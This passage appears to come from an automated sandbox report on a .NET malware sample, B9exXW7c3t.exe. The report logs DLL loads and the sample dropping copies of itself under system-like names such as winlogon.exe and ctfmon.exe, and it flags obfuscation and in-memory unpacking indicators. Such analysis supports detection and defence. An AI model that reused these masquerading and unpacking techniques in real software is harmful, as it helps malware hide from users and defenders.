Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: mscoree.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: apphelp.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: version.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: wldp.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: profapi.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: sspicli.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: mscoree.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: version.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: wldp.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: profapi.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: sspicli.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: mscoree.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: apphelp.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: kernel.appcore.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: version.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: uxtheme.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: windows.storage.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: wldp.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: profapi.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: cryptsp.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: rsaenh.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: cryptbase.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: sspicli.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: mscoree.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: kernel.appcore.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: version.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: uxtheme.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: windows.storage.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: wldp.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: profapi.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: cryptsp.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: rsaenh.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: cryptbase.dll
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Section loaded: sspicli.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: mscoree.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: apphelp.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: version.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: uxtheme.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: windows.storage.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: wldp.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: profapi.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: cryptsp.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: rsaenh.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: cryptbase.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: sspicli.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: mscoree.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: version.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: uxtheme.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: windows.storage.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: wldp.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: profapi.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: cryptsp.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: rsaenh.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: cryptbase.dll
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Section loaded: sspicli.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: mscoree.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: kernel.appcore.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: version.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: uxtheme.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: windows.storage.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: wldp.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: profapi.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: cryptsp.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: rsaenh.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: cryptbase.dll
Source: C:\Program Files\Windows Mail\ctfmon.exe Section loaded: sspicli.dll
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32 Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Microsoft\OneDrive\ListSync\QeWHGGzCXwoQygZUiDI.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Microsoft\OneDrive\ListSync\2e26acd4fd0504 Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Windows Mail\ctfmon.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Windows Mail\26c12092da979c Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Jump to behavior
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Directory created: C:\Program Files\Common Files\System\msadc\en-US\cc11b995f2a76d Jump to behavior
Source: B9exXW7c3t.exe Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
Source: B9exXW7c3t.exe Static PE information: Virtual size of .text is bigger than: 0x100000
Source: B9exXW7c3t.exe Static file information: File size 1433600 > 1048576
Source: B9exXW7c3t.exe Static PE information: Raw size of .text is bigger than: 0x100000 < 0x15a600
Source: B9exXW7c3t.exe Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation
barindex
.NET source code contains method to dynamically call methods (often used by packers)
Source: B9exXW7c3t.exe, xWGOqHsklDSgxDT0Beu.cs .Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
.NET source code contains potential unpacker
Source: B9exXW7c3t.exe, tGEHOreX6Fv3rwi0J5r.cs .Net Code: wYSImbbIME System.AppDomain.Load(byte[])
Source: B9exXW7c3t.exe, tGEHOreX6Fv3rwi0J5r.cs .Net Code: wYSImbbIME System.Reflection.Assembly.Load(byte[])
Source: B9exXW7c3t.exe, tGEHOreX6Fv3rwi0J5r.cs .Net Code: wYSImbbIME
Uses code obfuscation techniques (call, push, ret)
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Code function: 0_2_00007FF848F300BD pushad ; iretd 0_2_00007FF848F300C1
Source: C:\Users\user\Desktop\B9exXW7c3t.exe Code function: 0_2_00007FF848F37BF7 push ecx; iretd 0_2_00007FF848F37BFA
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Code function: 26_2_00007FF848F07BF7 push ecx; iretd 26_2_00007FF848F07BFA
Source: C:\Windows\SchCache\QeWHGGzCXwoQygZUiDI.exe Code function: 26_2_00007FF848F000BD pushad ; iretd 26_2_00007FF848F000C1
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Code function: 27_2_00007FF848F3DFCA pushad ; retf 27_2_00007FF848F3DFCD
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Code function: 27_2_00007FF848F300BD pushad ; iretd 27_2_00007FF848F300C1
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Code function: 27_2_00007FF848F37BF7 push ecx; iretd 27_2_00007FF848F37BFA
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Code function: 28_2_00007FF848F400BD pushad ; iretd 28_2_00007FF848F400C1
Source: C:\Users\Default\Links\ApplicationFrameHost.exe Code function: 28_2_00007FF848F47BF7 push ecx; iretd 28_2_00007FF848F47BFA
Source: C:\Program Files\Windows Mail\ctfmon.exe Code function: 29_2_00007FF848F4DFCA pushad ; retf 29_2_00007FF848F4DFCD
Source: C:\Program Files\Windows Mail\ctfmon.exe Code function: 29_2_00007FF848F400BD pushad ; iretd 29_2_00007FF848F400C1
Source: C:\Program Files\Windows Mail\ctfmon.exe Code function: 29_2_00007FF848F47BF7 push ecx; iretd 29_2_00007FF848F47BFA
Source: C:\Program Files\Windows Mail\ctfmon.exe Code function: 30_2_00007FF848F4DFCA pushad ; retf 30_2_00007FF848F4DFCD
Source: C:\Program Files\Windows Mail\ctfmon.exe Code function: 30_2_00007FF848F400BD pushad ; iretd 30_2_00007FF848F400C1
Source: C:\Program Files\Windows Mail\ctfmon.exe Code function: 30_2_00007FF848F47BF7 push ecx; iretd 30_2_00007FF848F47BFA
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 31_2_00007FF848F400BD pushad ; iretd 31_2_00007FF848F400C1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 31_2_00007FF848F47BF7 push ecx; iretd 31_2_00007FF848F47BFA
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 31_2_00007FF848F4DFCA pushad ; retf 31_2_00007FF848F4DFCD
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F100BD pushad ; iretd 32_2_00007FF848F100C1
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\QeWHGGzCXwoQygZUiDI.exe Code function: 32_2_00007FF848F17BF7 push ecx; iretd 32_2_00007FF848F17BFA
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Code function: 33_2_00007FF848F100BD pushad ; iretd 33_2_00007FF848F100C1
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Code function: 33_2_00007FF848F17BF7 push ecx; iretd 33_2_00007FF848F17BFA
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Code function: 33_2_00007FF848F1DFCA pushad ; retf 33_2_00007FF848F1DFCD
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Code function: 34_2_00007FF848F3DFCA pushad ; retf 34_2_00007FF848F3DFCD
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Code function: 34_2_00007FF848F300BD pushad ; iretd 34_2_00007FF848F300C1
Source: C:\Users\Public\AccountPictures\RuntimeBroker.exe Code function: 34_2_00007FF848F37BF7 push ecx; iretd 34_2_00007FF848F37BFA
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Code function: 35_2_00007FF848F200BD pushad ; iretd 35_2_00007FF848F200C1
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Code function: 35_2_00007FF848F27BF7 push ecx; iretd 35_2_00007FF848F27BFA
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Code function: 35_2_00007FF848F2DFCA pushad ; retf 35_2_00007FF848F2DFCD
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Code function: 36_2_00007FF848F200BD pushad ; iretd 36_2_00007FF848F200C1
Source: C:\Program Files\Common Files\System\msadc\en-US\winlogon.exe Code function: 36_2_00007FF848F27BF7 push ecx; iretd 36_2_00007FF848F27BFA
Source: B9exXW7c3t.exe Static PE information: section name: .text entropy: 7.181001669027784
